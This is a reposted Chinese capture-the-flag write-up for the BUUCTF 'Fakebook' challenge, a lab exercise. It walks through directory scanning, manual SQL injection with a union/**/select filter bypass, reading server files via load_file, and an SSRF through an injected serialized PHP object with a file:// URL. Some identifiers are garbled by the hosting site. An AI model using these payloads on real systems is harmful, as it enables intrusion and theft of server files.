PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了buuctf-[网鼎杯 2018]Fakebook 1大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

这道题,也是费了很大的劲,慢慢理解慢慢消化,今天,才开始把wp写出来

首先我们先扫描一波目录,用dirsearch扫一手,发现有robots.txt文件

dirseach自带的字典在db目录下,使用格式以及常用参数如下:
py dirsearch.py -u [target url] -e * -u后面跟要扫的url -e是指定的url -w是指定字典 -r递归目录 --random-agents使用随机UA

 

然后,我们紧接着用御剑扫一手,发现了flag.PHP,然后我们显示访问robots.txt,然后发现有一个user.PHP.bak的备份文件,我们直接访问,然后

下载下来,源码如下:

<?PHP


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_geTinfo($ch, CURLINFO_http_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法一个get方法。主要的工作应该是建立会话,

然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容一个getBlogContents方法,返回一个url的内容

还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。

get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.PHP。猜测可能flag.PHP处于内网,

如果用ssrf访问flag.PHP,可以用伪协议file://var/www/html/flag.PHP访问。

我们先回到首页,点join注册一个账号

buuctf-[网鼎杯 2018]Fakebook 1

 

 然后弹窗注册成功

buuctf-[网鼎杯 2018]Fakebook 1

 

 

这个页面,也就一个username可以点进去,于是我们点进入,发现no这个地方可以注入,于是拿去@L_428_37@map上跑一手,发现没有跑出来。

于是尝试手工注入:

?no = 1 and 1=1  //回显正常

?no = 1 and 1=2  //错误回显

铁定数字型注入,于是我们看看表中有多少列,确定一下列数,

?no = 1 order by 3    //正常

?no = 1 order by 4    //正常

?no = 1 order by 5    //错误

所以确定列数,有4列

于是我们尝试union联合注入:

?no = -1 union SELEct 1,2,3,4--+

buuctf-[网鼎杯 2018]Fakebook 1

 

 结果有这么一段话,被发现了

然后,通过大佬wp中发现,过滤了union SELEct

可以用过union/**/SELEct绕过

于是我们再次构造payload:

?no = -1 union/**/SELEct 1,2,3,4--+

buuctf-[网鼎杯 2018]Fakebook 1

 

 回显位是username,然后还发现了一下错误信息,/var/www/html/view.PHP刚才扫目录得知flag.PHP在这个目录中。

然后我们开始查数据库数据库信息

?no=-1 union/**/SELEct 1,database(),3,4--+  //数据库

buuctf-[网鼎杯 2018]Fakebook 1

 

 ?no=-1 union/**/SELEct 1,user(),3,4--+    //数据库信息

buuctf-[网鼎杯 2018]Fakebook 1

 

发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name一个完整的路径,于是我们直接用var/www/html/flag.PHP路径去访问一下这个文件

?no=-1 union/**/SELEct 1,load_file("/var/www/html/flag.PHP"),3,4--+

buuctf-[网鼎杯 2018]Fakebook 1

 

 结果我们得到了flag。这也是我看一个大佬的博客上面用的,我也是学到了这个知识。

接着我们继续往下看 不用这个方法

我们接着爆数据库表:

?no=-1 union/**/SELEct 1,GROUP_CONCAt(table_Name),3,4 from information_scheR_105_11845@a.tables where table_scheR_105_11845@a=database()--+

buuctf-[网鼎杯 2018]Fakebook 1

 

 获得一张users表

然后爆字段名:

?no=-1 union/**/SELEct 1,GROUP_CONCAt(column_Name),3,4 from information_scheR_105_11845@a.columns where table_name='users'--+

@H_197_166@

 

 这里面no,username,password我们都知道是什么,就data有点猫腻,于是我们查看它一下,于是我们爆data内容

buuctf-[网鼎杯 2018]Fakebook 1

 

 是个序列化后的UserInfo对象,这和我们最开始得到的user.PHP.bak文件有关系了。

在这里我们是不是可以利用一下呢?于是我们对这个序列化后的内容稍作改动

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.PHP";}

然后构造payload:

?no=-1 union/**/SELEct 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.PHP";}'

然后我们查看源码,发现读出来的数据,base64解密获得flag

buuctf-[网鼎杯 2018]Fakebook 1

 

大佬总结

以上是大佬教程为你收集整理的buuctf-[网鼎杯 2018]Fakebook 1全部内容,希望文章能够帮你解决buuctf-[网鼎杯 2018]Fakebook 1所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: